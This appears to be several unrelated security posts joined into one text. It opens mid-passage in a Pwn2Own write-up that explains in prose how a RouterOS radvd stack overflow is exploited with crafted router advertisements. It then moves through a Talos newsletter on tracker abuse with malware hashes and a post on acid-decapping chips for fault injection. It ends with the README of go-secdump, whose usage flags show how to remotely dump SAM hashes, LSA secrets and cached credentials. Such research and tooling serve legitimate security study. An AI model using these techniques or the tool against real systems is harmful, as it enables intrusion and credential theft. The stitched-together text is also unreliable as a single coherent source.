  3. If packets are received, the corresponding callback function will be called to handle the packets.

What CDP’s callback does is very simple: it makes sure that the interface that received the packet is allowed, and if it is, it parses the packet and stores the information directly into the nv::ASecMap instead of using a nova message, and then returns.

It follows that IPC has no ability to trigger any function of CDP or LLDP other than to turn on CDP or LLDP services (which are turned on by default), so it is likely that previous research focused on IPC has not tested the program logic of such implementation.

The Story of Pre-Auth RCE

With the knowledge of RouterOS, a surprising accident led us to a long hidden vulnerability.

One day, when we plugged and unplugged the network cable as usual for reversing and debugging on RouterOS, we found that the log file recorded that the program radvd had crashed several times! So we tried plugging and unplugging the cable to manually reproduce the crash so that we could use the debugger to locate the problem, but after thousands of plugs and unplugs, we still couldn’t determine the conditions under which the crash was occurring, and it appeared to be just a random crash.

After a period of trial and error, we tried to find out where the crash occurred by static reversing the radvd rather than blindly trying. Though we still couldn’t find the root cause of the crash in the end, we found another vulnerability in radvd after reviewing the core logic in binary with the benefit of our understanding of the nova binary.

Before describing this vulnerability, let’s first explain what the radvd process does.

SLAAC (Stateless Address Auto-Configuration )

In short, the radvd is a service that handles SLAAC for IPv6.

In a SLAAC environment, suppose a computer wants to get an IPv6 address to access the Internet, it will first broadcast an RS (Router Solicitation) request to all routers. After the router receives the RS, it will broadcast the network prefix through RA (Router Advertisement); computers receiving the RA can take the network prefix then combine it with the EUI-64 to decide what IPv6 address they’re going to use for connecting to the Internet.

If an ISP or network administrator wants to assign a network segment to a user, so that the user can assign the address to the user-managed machines. How to assign a segment to the user when only using SLAAC without DHCP? Because SLAAC does not have a way to delegate directly, this is how it usually works:

Suppose there is an upstream router: Router A, which belongs to an ISP or a network administrator, a user-managed Router B, and a user-managed computer. The ISP or the network administrator will notify the user via email in advance about a /48 network prefix assigned to the user, which is 2001:db8::/48 in this case. Users can set it on Router B, then when the computer sends RS to Router B, Router B will put this prefix into RA for return, this prefix is called routed prefix.

In order to make Router B be able to communicate with Router A, it also needs to get network prefix from Router A for an IPv6 address of its own. And the network prefix that Router B gets from Router A is called a link prefix.

The execution flow of the radvd

  1. When the radvd process is started, the socket used by radvd is opened by nv::ThinRunner::addSocket and the corresponding callback function is registered.
  2. In each iteration of the Looper in radavd, the socket is checked by calling the poll to see if it has received any packets.

  3. If any packets are received, the corresponding callback function will be called to process the packets.

In the callback function of rardvd, it will first check if the packet is a legitimate RA or RS, if it’s RA, store the information, if it’s RS, start broadcasting RA in LAN.

There are total three cases in which the RouterOS broadcasts the network prefix:

  1. Received RS from LAN
  2. Received RA from WAN
  3. Timed broadcast of RA packets on LAN (default random broadcast after 200~600 seconds)

But we didn’t find the code that’s responsible for case 2 in the callback function by statically reversing. At that time we were not sure why, it is actually related to the subscription mechanism in the RouterOS IPC, which we will explain in a later chapter. However, there are two other cases that we can find out directly through static analysis.

In case 1, when an RS is received from the LAN, radvd will call sendRA to broadcast the RA packet:

In case 2, handler 1 will register a timer, RAroutine, after initialization:

The RAroutine is used to call sendRA at regular intervals to broadcast packets:


After digging deeper into sendRA, we found that radvd has a vulnerability in handling DNS advisory. First, radvd will store the DNS advisory from the RA received from the upstream router (the data structure is a tree), and when it wants to broadcast the RA to the LAN, these DNS will also be wrapped in the RA and broadcast to the LAN.

In radvd, it is the addDNS function that expands the tree and puts it into the ICMPv6 packet. In the following figure, the first parameter of addDNS, RA_raw, is a buffer of 4096 bytes, which is the final ICMPv6 packet.

Stepping into the addDNS, we can immediately see that there may be a stack buffer overflow here. The addDNS puts DNS into ICMPv6 packets via memcpy without any boundary check, and as long as the DNS advisory is big enough, it can trigger a stack buffer overflow.

The DNS records used here come from the RDNSS field in the RA packet, but according to the RFC, we can find that the field used to describe the length of RDNSS is only 8-bit. It can cover only 255*16 bytes at most, and this length is insufficient for us to overwrite the return address.

But if this is not the first time the radvd received RA, radvd needs to mark the old DNS as expired in the next packet, so we can actually cover twice the length, which is 255*16*2 bytes. That is enough for us to overwrite the return address.


Now, the attacker only needs to send two crafted RA packets with RDNSS field length of 255 to the target RouterOS, and the attacker can control the execution flow of the radvd program through the IPv6 address in the RDNSS.

The Protection of Binaries

Since the architecture of target RouterOS is MIPS architecture, the CPU doesn’t support NX, but other protections are also not enabled.

So it’s just a matter of finding a good ROP gadget and letting the execution flow eventually jump to the shellcode we place on the stack, easy peasy lemon squeezy.

The Constraint of Shellcode

However, there are actually quite a number of limitations in the process of constructing an exploit, for example, since IPv6 addresses are stored in a tree structure, they are sorted before being placed on the stack, so we need to make sure that the payload we build remains the same after sorting.

The simplest way to do this is to make the IPv6 prefix to be a serial number, which ensures that the contents of our payload are in order, and that we can accurately jump to the shellcode through the ROP gadget. When writing the shellcode, we just need to construct the suffix of each address as a jump, so that we can skip the non-executable serial number.

However, due to the delay slot in MIPS, the CPU will actually execute the next instruction of the jump instruction first.

So we have to move the jump forward, but since we can’t use the syscall command in the delay slot, the payload will be a pain to construct, and may exceed the length we can use, which is basically a bad idea.

In fact, this is a common beginner level problem in CTF. All we need is to make the prefix of IPv6 address a legal instruction that does not affect the execution result. We change the prefix to addi s8, s0, 1, addi s8, s0, 2, addi s8, s0, 3…… and so on. In addition to the payloads being sorted, it also saves the space that would otherwise be used for jump instructions.

But since we didn’t leak the stack address, and since we can’t find any gadgets available to move the stack address from the $sp register to the $t9 register, what we’ve done here is to first write the jalr $sp instruction to memory via a ROP gadget, and then jump to it and execute it with a ROP gadget, which then directs the flow to the shellcode that we’ve constructed, and that sounds pretty good:

But this is not enough to run shellcode, because MIPS has two different cache for memory access.


MIPS has two caches: I-cache (instruction cache) and D-cache (data cache).

When we write the jslr $sp instruction to the memory, it’s actually written to D-cache.

When we control the execution flow to jump on the address of jslr $sp, the processor will first check whether the instruction at this address is in the I-cache or not, and since we jump to a data section, the cache will always miss it. And so, the contents of the memory will be loaded into the I-cache.

However, since the contents of the D-cache have not been written back to memory, I-cache will only copy a bunch of null bytes from memory, which is nop in MIPS, so the radvd only runs a bunch of nop until it crashes.

Here we need to make the processor write the contents of the D-cache back to memory, and there are two ways to do this: a context switch or exhausting the D-cache space (32 KB).

Triggering a context switch is easier, but there is no sleep in radvd that we can use to trigger a context switch, and while other functions can trap into the kernel, the chances of a context switch occurring are not very high. In order to compete for the Pwn2Own, it is necessary to have a consistent attack that is close to 100% successful. Therefore, we turned to find a way to exhaust the 32kb D-cache.

First , a simple check shows that the radomize_va_space variable of RouterOS is 1, which means that the memory address of the heap is not random, so we don’t need a leak to know where the heap is. We just need to find a way to make the heap allocate enough space, and then write some gibberish on it to deplete the 32kb D-cache.

However, since there are no good ROP gadgets, such a payload will need too many ROP gadgets, and eventually the payload length may exceed the length we can cover.

Luckily, as mentioned earlier, DNS itself is stored in a tree structure, so it already occupies a large chunk of memory in the heap. Through the step-by-step execution of gdb, we can make sure that by the time DNS is being processed, the heap is already bigger than 32kb, so we just need to call memcpy to write 32kb of gibberish to the heap through the GOT hijack and that’s it!

Finally, our exploit is complete:

Combined with another Canon printer vulnerability we found for Pwn2Own, the attack flow would be:

  1. The attacker, as a bad neighbor of the router, sends crafted ICMPv6 packets to it
  2. After successfully controlling the router, we perform port forwarding to direct the payload to the Canon printer on the LAN.

In a Pwn2Own environment, the network environment can be simplified a bit as follows:

Debugging for Exploit

Just when we thought we had the $100,000 prize in the pocket, something unexpected happened: our exploit failed on Ubuntu, whether it was a virtual machine in MacOS or an Ubuntu machine; and Pwn2Own officials, who basically used Ubuntu to execute our exploit, so we had to solve this problem.

We tried running the exploit on MacOS and recording the network traffic, then replaying the traffic on Ubuntu, and we can observe that the replay fails:

We also tried running the exploit on Ubuntu and recording the network traffic, of course it failed on Ubuntu. But when we replayed the failed traffic on MacOS, it succeeded:

Up to this point, we guessed that one of the OSes reordered the packets before sending them out, and that might have been done after Wireshark captured the packets. So we wrote a sniffer and put it on the router to monitor the traffic, and the result should be very reliable since AF_PACKET type of sockets are not affected by the firewall rules:

However, the packets recorded from both sides are exactly the same ……

So, apparently I’m the bus factor now. Exploit has only worked on my macOS so far, and if the situation remains, the last resort would be to fly myself to Toronto with my Mac laptop and do the attack on site with my own laptop. But there’s no way we’re going to leave this problem of unknown cause unattended, who knows if it might happen to my laptop during the Pwn2Own as well, and that would be a real loss.

After a few careful reviews, we finally know the cause of the problem: speed. Since the time window between the two RA packets is not that big, it’s hard to tell from the Wireshark timeline, but if you do some math, you’ll see that the difference in time between the two packets is 390 times. So the problem is not with Ubuntu, it’s because the Mac sent the two packets too fast, and accidentally triggered the race condition in radvd (plus I didn’t properly calculate how many bytes it takes to overwrite the return address, I just wrote all the gibberish on it and did a pattern match. So the offset is only correct under the race condition).

The solution is to sleep for a while between sending two RA packets and fix the offset in the payload, which will stabilize our attack with a 100% chance of success.


This vulnerability has been fixed in the following releases:

  • Long-term Release 6.48.7
  • Stable Release 6.49.8, 7.10
  • Testing Release 7.10rc6

At the same time, we also found that this vulnerability has existed since RouterOS v6.0. From the official website can be found 6.0 release date is 2013-05-20, that is to say, this vulnerability has existed there nine years, but no one has found him.

Echoing our initial thought, “No one with sanity would like to dive into the details of nova binary”, Q.E.D.

The Race Condition

But how did this race condition that prevents us from easily earning $100,000 happen? As mentioned above, nova binary has a Looper that loops for dealing with events, i.e. it’s a single thread program, so what’s the race condition all about? (Some nova binary is multi-fiber, but radvd isn’t.)

I didn’t mention that when radvd parse the RA packets received from WAN, the DNS is stored in a “vector”, but when preparing the RA packets for broadcasting on LAN, addDNS expands a “tree” with DNS stored in it, so what is the relationship between this vector and the tree?

That’s why we didn’t find the logic “broadcasts RA packets to the LAN when it receives RA from the WAN” in the callback, because it’s the result of the interaction between the two processes.

If we take a closer look at what the callback does, we can see that there is an array that holds an object called the “remote object”. The code looks intuitive, it iterates over a vector of DNS addresses, calls nv::roDNS once for each DNS address, and saves the result of the function execution in the and saves the result of the function execution in the DNS_remoteObject vector.

Remote Object

So what is a remote object? Remote object is a mechanism used in RouterOS to share resources across processes, one process is responsible for storing this shared resource, then another process can send requests to the process responsible for storing it to make additions, deletions, and modifications by specifying the ids. For example, the DNS remote object is actually placed in handler 2 of the resolver process, while handler 1 of radvd simply keeps the ids of these objects.

Subscription and Notification

When a remote object is updated, some process may want to respond, so the nova binary can subscribe to other nova binary in advance. Take dhcp and ippool6 for example, handler 1 in ippool6 is responsible for managing the ipv6 address pool, the dhcp process subscribes to handler 1 in ippool6, so when there are changes in the ipv6 address pool, dhcp can check whether they need to be processed further, such as shutting down a dhcp server.

The subscription behavior is achieved by sending a nova message to the binary that wants to subscribe, with a SYS_NOTIFYCMD that contains the specific conditions that it wants to be notified about.

When another process adds an object to ippool6, handler 1’s cmdAddObj function will be executed.

In most cases, AddObj will call sendNotifies to notify subscribers who have subscribed to the 0xfe000b event that their subscribed objects have been altered, so ippool6 here sends a nova message to the dhcp process informing it of the result of the object being altered.

After understanding the subscription mechanism, we can more fully understand the interaction between radvd and the resolver as follows:

When radvd receives the RA packet from the WAN, it will call roDNS for each IPv6 address. Handler 4 in resolver handles this request and creates the corresponding ipv6 object in handler 2. Then, because handler 1 in radvd subscribes to handler 2 in resolver, handler 2 in resolver pushes all the DNS addresses that it has to radvd, then handler 1 constructs a RA packet based on the DNS address he received, and then broadcasts the packet on the LAN.

The Root Cause of Race Condition

The problem is actually in the implementation of roDNS, where roDNS uses postMessage to send a nova message. postMessage is non-blocking, meaning that the remote object in radvd doesn’t immediately know what id of a remote object corresponds to in the resolver.

If our second packet arrives too soon, so that radvd doesn’t know what the remote object’s id is, then radvd can’t delete these objects in the first place, it can only mark them as destroyed for soft deletion, which results in a race condition.

Let’s try to understand the whole process step by step:

First, since both processes are single thread, we can assume that radvd and resolver are in their first loop. The radvd receives an RA from the WAN with only one DNS address, and radvd sends a request for creating a remote object to the resolver.

At the same time, resolver will set a timer when it receives the first request, because in the IPC mechanism, resolver has no way of knowing how many AddObj requests belong to the same group, so it simply sets a timer , and sends out a notification when the time is up. The resolver should reply with a nova message as a response, informing radvd of the id of the remote object that has just been added, and radvd will register a corresponding ResponseHandler to handle this request.

However, if the second RA packet is delivered so fast that the resolver hasn’t sent the response back yet, radvd can only mark the old DNS remote object as destroyed for soft deletion first.

Then radvd proceeds to create a new DNS remote object for the RDNSS field in the second RA packet received, but since the resolver hasn’t finished the first iteration yet, this new request stays in the socket until the next iteration.

Going back to resolver, the first iteration ends by passing back an id to radvd. radvd’s ResponseHandler will update the remote object based on the id it gets. But since the corresponding remote object has been marked for deletion, the ResponseHandler will delete the object instead of updating the object id.

After the ResponseHandler deletes the remote object saved in radvd, it will send a delete object message to resolver, informing it that the corresponding remote object is no longer in use and has to be deleted, but the request will still be stuck in the socket waiting to be processed.

The resolver then proceeds to the second iteration, where it gets a request from the socket to create a remote object for the second RA.

At this point, the previously set timer expires and the resolver calls nv::Handler::sendChanges to notify all subscribers what DNSs the resolver now knows about, since object 1 has not been deleted yet, so the resolver pushes the DNS that was created by the two requests. The DNS created by the two requests will be pushed out.

When radvd receives this information, it immediately constructs a RA packet to broadcast over the LAN, and the results of the two requests are mixed together, which is why our attack only succeeds on MacOS in the first place.

The race condition itself sounds hard to be triggered (it won’t be triggered if the delete request is processed before the timer), but this is because the whole process has been greatly simplified for ease of explanation, and in fact, as long as the time between the arrival of the two packets is short enough, the race will be successful.


Through the above analysis, we found a pattern of race conditions in the remote object mechanism of RouterOS:

  • Use non-blocking methods to create/delete the remote object
  • Subscribe to the remote object

Because it is possible to mix the results of two requests into a single response, this could possibly be used to bypass some security checks. If we can find such a vulnerability, it could be used to participate in the router category.

In the end, we were pressed for time and we didn’t find any exploitable vulnerabilities through the race condition.

And not only that, we realized that the exploit that we had tested hundreds of times over the past few months still had some issues, and we still couldn’t get it to work three hours before the registration deadline. We kept updating the exploit and the white paper we were going to submit, and it was done until half an hour before the deadline (4:00 AM deadline).

But luckily, we were able to complete the attack with only one attempt at Pwn2Own, becoming the first team in history to complete the new category of SOHO SMASHUP:

We earned 10 Master of Pwn points and $100,000 by this category, and at the end of the tournament, DEVCORE was crowned the winner with 18.5 Master of Pwn points.

In addition to receiving the Master of Pwn title, trophy, and jacket, the organizers will also send us one of each of the devices we hacked.

(We can’t fit all of them into a picture)


In this study, we have explored RouterOS in depth and revealed a security vulnerability that has been hidden in RouterOS for nine years. In addition, we found a design pattern in IPC that leads to a race condition. Meanwhile, we also open-source the tools used in the research at https://github.com/terrynini/routeros-tools for your reference.

Through this paper, DEVCORE hopes to share our discoveries and experiences to help white hat hackers gain a deeper understanding of RouterOS and make it more understandable.

Apple and Google are taking steps to curb the abuse of location-tracking devices — but what about others?

23 May 2024 at 18:00
Apple and Google are taking steps to curb the abuse of location-tracking devices — but what about others?

Since the advent of products like the Tile and Apple AirTag, both used to keep track of easily lost items like wallets, keys and purses, bad actors and criminals have found ways to abuse them. 

These adversaries can range from criminals just looking to do something illegal for a range of reasons, but maybe just looking to steal a physical object, to just a jealous or suspicious spouse or partner who wants to keep tags on their significant other. 

Apple and other manufacturers who make these devices have since taken several steps to curb the abuse of these devices and make them more secure. Most recently, Google and Apple announced new alerts that would hit Android and iOS devices and alert users that their devices’ location is being connected to any location-tracking device.  

“With this new capability, users will now get an ‘[Item] Found Moving With You’ alert on their device if an unknown Bluetooth tracking device is seen moving with them over time, regardless of the platform the device is paired with,” Apple stated in its announcement. 

Companies Motorola, Jio and Eufy also announced that they would be adhering to these new standards and should release compliant products soon.  

Certainly, products like the AirTag and Samsung trackers that these companies have direct control over will now be more secure, and hopefully less ripe for abuse by a bad actor, but it’s far from a total solution to the problem that these types of products pose. 

As I’ve pointed out in the past with security cameras and any other range of internet-connected devices, online stores are filled with these types of products, promising to track users’ personal items with an app so they don’t lose common household items like their phones, wallets and keys.  

Amazon has countless listings under “location tag” for a range of AirTag-like products made by unknown manufacturers. Some of these products are slim enough to fit right into the credit card pocket of a wallet or purse,  and others are smaller than the average AirTag and even advertise that they can remain hidden inside a car.  

I admittedly haven’t been able to dive into these individual devices, but some of them come with their own third-party apps, which come with their own set of security caveats and completely take it out of platform developers’ hands.  

There are also other “find my device”-type services that pose additional security concerns outside of just buying a small tag. Android’s new, enhanced “Find My Device” network is a crowdsourced solution to help users potentially find their lost devices, similar to iOS’ Find My network.  

The Find My Device network works by using other Android devices to silently relay the registered device’s approximate location, even if the device being searched for is offline or turned off. In the wrong hands, there are a range of ways that can be abused on its own.  

So, rather than relying on developers and manufacturers to make these services more secure, I have a few tips for how to use AirTag-like devices safely, if you really can’t come up with a better solution for not losing your keys. 

  • Check for suspicious tracking devices. On iOS, this means opening the “Find My” app and navigating to Items > Items Detected Near You. Any unfamiliar AirTags will be listed here. On Android, you can do the same thing by going to Settings > Safety & Emergency > Unknown Tracker Alerts > Scan Now. 
  • Remove yourself from any “Sharing Groups” unless it’s a trusted contact in your phone using the Find My app on iOS. 
  • If location tracking is your primary concern (especially for parents and their children) using the Find My app on iOS and Android is generally a more secure option than trusting a third-party app downloaded from the app store or relying on a Bluetooth connection.  
  • Manage individual apps’ settings to ensure only the services that *really* need to track your device’s physical location are using it. (Ex., you probably don’t need Facebook tracking that information.) 
  • Since AirTags are connected to your Apple ID, ensure that login is secured with multi-factor authentication (MFA) or using a passkey.  

The one big thing 

Cisco recently developed and released a new feature to detect brand impersonation in emails when adversaries pretend to be a legitimate corporation. Threat actors employ a variety of techniques to embed brand logos within emails. One simple method involves inserting words associated with the brand into the HTML source of the email. New data from Talos found that popular brands like PayPal, Microsoft, NortonLifeLock and McAfee are among some of the most-impersonated brands in these types of phishing emails.  

Why do I care? 

Brand impersonation could happen on many online platforms, including social media, websites, emails and mobile applications. This type of threat exploits the familiarity and legitimacy of popular brand logos to solicit sensitive information from victims. In the context of email security, brand impersonation is commonly observed in phishing emails. Threat actors want to deceive their victims into giving up their credentials or other sensitive information by abusing the popularity of well-known brands. 

So now what? 

Well-known brands can protect themselves from this type of threat through asset protection as well. Domain names can be registered with various extensions to thwart threat actors attempting to use similar domains for malicious purposes. The other crucial step brands can take is to conceal their information from WHOIS records via privacy protection. And users who want to learn more about Cisco Secure Email Threat Defense's new brand impersonation detection tools can visit this site. 

Top security headlines of the week 

Adversaries have been quietly exploiting the backbone of cellular communications to track Americans’ location for years, according to a U.S. Cybersecurity and Infrastructure Security Agency (CISA). The official broke ranks with their agency and reportedly shared this information with the Federal Communications Commission (FCC). The official said that attackers have used vulnerabilities in the SS7 protocol to steal location data, monitor voice and text messages, and deliver spyware. Other targets have received text messages containing fake news or disinformation. SS7 is the protocol used across the globe that routes text messages and calls to different devices but has often been a target for attackers. In the past, other vulnerabilities in SS7 have been used to gain access to telecommunications providers’ networks. In their written comments to the FCC, the official said that these vulnerabilities are the “tip of the proverbial iceberg” of SS7-related exploits used against U.S. citizens. (404 Media, The Economist) 

The FBI once again seized the main site belonging to BreachForums, a popular platform for buying and selling stolen personal information. Last year, international law enforcement agencies took down a previous version of the cybercrime site and arrested its administrator, but the new pages quickly emerged, using three different domains since the last disruption. American law enforcement agencies also took control of the forum’s official Telegram account, and a channel belonging to the newest BreachForums administrator, “Baphomet.” However, the FBI has yet to publicly state anything about the takedown or any potential arrests. BreachForums isn’t expected to be gone for long, as another admin named “ShinyHunters” claims the site will be back with a new Onion domain soon. ShinyHunters claims they’ve retried access to the seized clearnet domain for BreachForums, though they did not provide specific methods. BreachForums is infamous for being a site where attackers can buy and sell stolen data, offer their hacking services or share recent TTPs. (TechCruch, HackRead) 

The U.S. Department of Justice charged three North Koreans with crimes related to impersonating others to obtain remote employment in the U.S., which in turn generated funding for North Korea’s military. The three men, and another U.S. citizen, were charged with what the DOJ called “staggering fraud” in which they secured illicit work with several U.S. companies and government agencies using fraudulent identities from 60 real Americans. The U.S. citizen was allegedly placed laptops belonging to U.S. companies at various residences so the North Koreans could hide their true location. North Korean state-sponsored actors have used these types of tactics for years, often relying on social media networks like LinkedIn to fake their personal information and obtain jobs or steal sensitive information from companies. More than 300 companies may have been affected, with the perpetrators earning more than $6.8 million, most of which was used to “raise revenue for the North Korean government and its illicit nuclear program,” according to the DOJ. (ABC News, Bloomberg) 

Can’t get enough Talos? 

Upcoming events where you can find Talos 

ISC2 SECURE Europe (May 29) 

Amsterdam, Netherlands 

Gergana Karadzhova-Dangela from Cisco Talos Incident Response will participate in a panel on “Using ECSF to Reduce the Cybersecurity Workforce and Skills Gap in the EU.” Karadzhova-Dangela participated in the creation of the EU cybersecurity framework, and will discuss how Cisco has used it for several of its internal initiatives as a way to recruit and hire new talent.  

Cisco Live (June 2 - 6) 

Las Vegas, Nevada 

Bill Largent from Talos' Strategic Communications team will be giving our annual "State of Cybersecurity" talk at Cisco Live on Tuesday, June 4 at 11 a.m. Pacific time. Jaeson Schultz from Talos Outreach will have a talk of his own on Thursday, June 6 at 8:30 a.m. Pacific, and there will be several Talos IR-specific lightning talks at the Cisco Secure booth throughout the conference.

AREA41 (June 6 – 7) 

Zurich, Switzerland 

Gergana Karadzhova-Dangela from Cisco Talos Incident Response will highlight the primordial importance of actionable incident response documentation for the overall response readiness of an organization. During this talk, she will share commonly observed mistakes when writing IR documentation and ways to avoid them. She will draw on her experiences as a responder who works with customers during proactive activities and actual cybersecurity breaches. 

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: 9be2103d3418d266de57143c2164b31c27dfa73c22e42137f3fe63a21f793202 
MD5: e4acf0e303e9f1371f029e013f902262 
Typical Filename: FileZilla_3.67.0_win64_sponsored2-setup.exe 
Claimed Product: FileZilla 
Detection Name: W32.Application.27hg.1201 

SHA 256: a024a18e27707738adcd7b5a740c5a93534b4b8c9d3b947f6d85740af19d17d0 
MD5: b4440eea7367c3fb04a89225df4022a6 
Typical Filename: Pdfixers.exe 
Claimed Product: Pdfixers 
Detection Name: W32.Superfluss:PUPgenPUP.27gq.1201 

SHA 256: 1fa0222e5ae2b891fa9c2dad1f63a9b26901d825dc6d6b9dcc6258a985f4f9ab 
MD5: 4c648967aeac81b18b53a3cb357120f4 
Typical Filename: yypnexwqivdpvdeakbmmd.exe 
Claimed Product: N/A  
Detection Name: Win.Dropper.Scar::1201 

SHA 256: d529b406724e4db3defbaf15fcd216e66b9c999831e0b1f0c82899f7f8ef6ee1 
MD5: fb9e0617489f517dc47452e204572b4e 
Typical Filename: KMSAuto++.exe 
Claimed Product: KMSAuto++ 
Detection Name: W32.File.MalParent 

SHA 256: abaa1b89dca9655410f61d64de25990972db95d28738fc93bb7a8a69b347a6a6 
MD5: 22ae85259273bc4ea419584293eda886 
Typical Filename: KMSAuto++ x64.exe 
Claimed Product: KMSAuto++ 
Detection Name: W32.File.MalParent 

MindShaRE: Decapping Chips for Electromagnetic Fault Injection (EMFI)

Recently, the automotive VR team has undertaken an effort to reproduce the software extraction attack against one of the target devices used during the Automotive Pwn2Own 2024 held in Tokyo, Japan. The electromagnetic fault injection (EMFI) approach was chosen to attempt an attack against the existing readout protection mechanisms. This blog post details preparatory steps to speed up the attack, hopefully considerably.

Electromagnetic fault injection

In general, fault injection attacks against hardware attempt to produce some sort of gain for an attacker by injecting faults into a device under attack by manipulating clock pulses, supply voltages, temperature, electromagnetic fields around the device, and aiming short light pulses at certain locations on the device. Of these vectors, EMFI stands out as probably the only attack approach that requires close to no modifications of the device under attack, with all action being conducted at a quite short distance. The attack then proceeds by moving an EM probe above the device in very small increments and triggering an EM pulse. With any luck, this would disturb the normal operation of the device under attack in just the right way to cause the desired effect.

Practically speaking, some sort of an EM pulse tool is required to conduct the attack. In this case, the PicoEMP was chosen for that purpose, which has been mounted on a modified 3D printer carriage.

Figure 1 - The ChipSHOUTER-PicoEMP

However, the device in question (a GD32F407Z by GigaDevice) is physically rather large, with the package measuring 20mm by either side. Considering how long each individual attempt runs, the fact that the attempt needs to be retried multiple times to collect meaningful outcome statistics, and rather small increments used to move the probe, it would make sense to narrow down the search area as much as possible. Injecting EM faults into the epoxy encapsulation would not bring much of an effect.


Unfortunately, the encapsulation is not transparent and does not allow for easy visual identification of the die in the package. This means that some way of getting the die out is required to measure it, or better yet, leave the die in the package so it will be possible to measure both the die dimensions and the position of the die within the package.

There are multiple approaches to decapsulation, or decapping for short:

·      Mechanical: sanding or milling the package, cracking the encapsulation when heated
·      Chemical: applying acid to dissolve encapsulation
·      Thermal: placing the package in a furnace to burn encapsulation away
·      Optical: using a laser to burn encapsulation away in a precise manner

Of these, many require specialized equipment (mill, laser, furnace, fume hood for nitric acid), are time-consuming (sanding), or do not preserve important information (cracking the package). The choice was thus limited to what was available: hot sulfuric acid.

DANGER: Hot sulfuric acid is extremely corrosive; avoid spilling and wear proper PPE at all times.

DANGER: Sulfuric acid vapors are extremely corrosive; avoid inhaling and work in a well-ventilated area (fume hood or outside).

NOTE: Study relevant safety information including but not limited to materials handling, spill containment, and clean-up procedures before working with any hazardous chemicals.

NOTE: This blog post was written purely for educational purposes; any attempts to replicate the work are at your own risk.

Decapping process

As my home lab is, sadly, not equipped with a fume hood, all work was conducted outside.

Figure 2 - Example of tools used

The following tools were used:

·      Sulfuric acid, 96%
·      A heat source in the form of a hot air station
·      A crocodile clip “helping hands”
·      A squirt bottle with acetone
·      A PE pipette
·      A waste container.

To begin, the device under attack is fixed in the clip, and a small drop of acid was applied with the pipette in the package center.

Figure 3 - Applying sulfuric acid

The device was then heated using the hot air station set to 200°C  and a moderate air flow of around 40%. The aim of this process is to slowly dissolve the packaging epoxy. The device was heated until some fuming was observed from the drop and stopped before any bubbling would occur. If the acid gets hot enough to produce bubbles, the material will form a hard carbonized “cake” which will be problematic to remove. Unfortunately, this has been a problem before.

After the acid visibly darkened, which should take around 1 minute +- 50%, the heating was stopped, and the device was allowed to cool down somewhat. Then, the acid was washed off with acetone into the waste container. The device then was dried off with hot air to remove moisture.

The process was then repeated multiple times, with each iteration removing a bit of the packaging material. This was captured in the following series of images (more steps were taken than is presented here):

Figure 4 - Time lapse of decapping process

A stack of dice slowly emerged from the package: the larger one is the microcontroller itself, and the smaller one is the serial Flash memory holding all the programmed code and data. Unfortunately, the current process does not preserve the bond wires, rendering the device inoperable. Its operation was not required in our case. This could possibly be mitigated by using a 98% acid and anhydrous acetone – something to attempt in the future.


The end result of the decapping process is pictured below.

Figure 5 - End result of decapping

Using a graphics editor, it is possible to take measurements in pixels of the package, the die, and the die positioning. This came out to be the following:

·      Package size 1835x1835 pixels (measured) = 20x20 mm (known from the datasheet)
·      Pixels per mm: 91.75
·      Die size 366x366 pixels (measured) = 4x4mm (computed)
·      Die offset from bottom left: 745x745 pixels (measured) = 8.12x8.12mm (computed)

The obtained numbers are immediately useful to program the EM probe motion restricted to the die area only. To find out how much experiment time this could save, let’s compute the areas: 4x4 = 16 mm2 for the die itself, and 20x20 = 400 mm2 for the whole package. This is 25 times decrease in the area and thus the experiment time.

Another approach that could avoid the decapping process is moving the probe in a spiral fashion, starting from the package center and moving outwards. This is of course possible to implement. However, the challenge here is the possibility of the two dice getting packaged side-to-side instead of being stacked like in this example – this would severely decrease the gain from this approach. Given the decapping only takes no more than 1-2 hours including cleanup, this was deemed well worth the information gained – and the die pictures obtained.


I hope you enjoyed this brief tutorial. Again, please take caution when using sulfuric acid or any other corrosive agents. Please dispose of waste materials responsibly. The world of hardware hacking offers many opportunities for discovery. We’ll continue to post guides and methodologies in future posts. Until then, you can follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

Go-Secdump - Tool To Remotely Dump Secrets From The Windows Registry

Package go-secdump is a tool built to remotely extract hashes from the SAM registry hive as well as LSA secrets and cached hashes from the SECURITY hive without any remote agent and without touching disk.

The tool is built on top of the library go-smb and use it to communicate with the Windows Remote Registry to retrieve registry keys directly from memory.

It was built as a learning experience and as a proof of concept that it should be possible to remotely retrieve the NT Hashes from the SAM hive and the LSA secrets as well as domain cached credentials without having to first save the registry hives to disk and then parse them locally.

The main problem to overcome was that the SAM and SECURITY hives are only readable by NT AUTHORITY\SYSTEM. However, I noticed that the local group administrators had the WriteDACL permission on the registry hives and could thus be used to temporarily grant read access to itself to retrieve the secrets and then restore the original permissions.


Much of the code in this project is inspired/taken from Impacket's secdump but converted to access the Windows registry remotely and to only access the required registry keys.

Some of the other sources that have been useful to understanding the registry structure and encryption methods are listed below:





Usage: ./go-secdump [options]

--host <target> Hostname or ip address of remote server
-P, --port <port> SMB Port (default 445)
-d, --domain <domain> Domain name to use for login
-u, --user <username> Username
-p, --pass <pass> Password
-n, --no-pass Disable password prompt and send no credentials
--hash <NT Hash> Hex encoded NT Hash for user password
--local Authenticate as a local user instead of domain user
--dump Saves the SAM and SECURITY hives to disk and
transfers them to the local machine.
--sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
--lsa Extract LSA secrets explicitly. Only other explicit targets are included.
--dcc2 Extract DCC2 caches explicitly. Only ohter explicit targets are included.
--backup-dacl Save original DACLs to disk before modification
--restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails.
--backup-file Filename for DACL backup (default dacl.backup)
--relay Start an SMB listener that will relay incoming
NTLM authentications to the remote server and
use that connection. NOTE that this forces SMB 2.1
without encryption.
--relay-port <port> Listening port for relay (default 445)
--socks-host <target> Establish connection via a SOCKS5 proxy server
--socks-port <port> SOCKS5 proxy port (default 1080)
-t, --timeout Dial timeout in seconds (default 5)
--noenc Disable smb encryption
--smb2 Force smb 2.1
--debug Enable debug logging
--verbose Enable verbose logging
-o, --output Filename for writing results (default is stdout). Will append to file if it exists.
-v, --version Show version

Changing DACLs

go-secdump will automatically try to modify and then restore the DACLs of the required registry keys. However, if something goes wrong during the restoration part such as a network disconnect or other interrupt, the remote registry will be left with the modified DACLs.

Using the --backup-dacl argument it is possible to store a serialized copy of the original DACLs before modification. If a connectivity problem occurs, the DACLs can later be restored from file using the --restore-dacl argument.


Dump all registry secrets

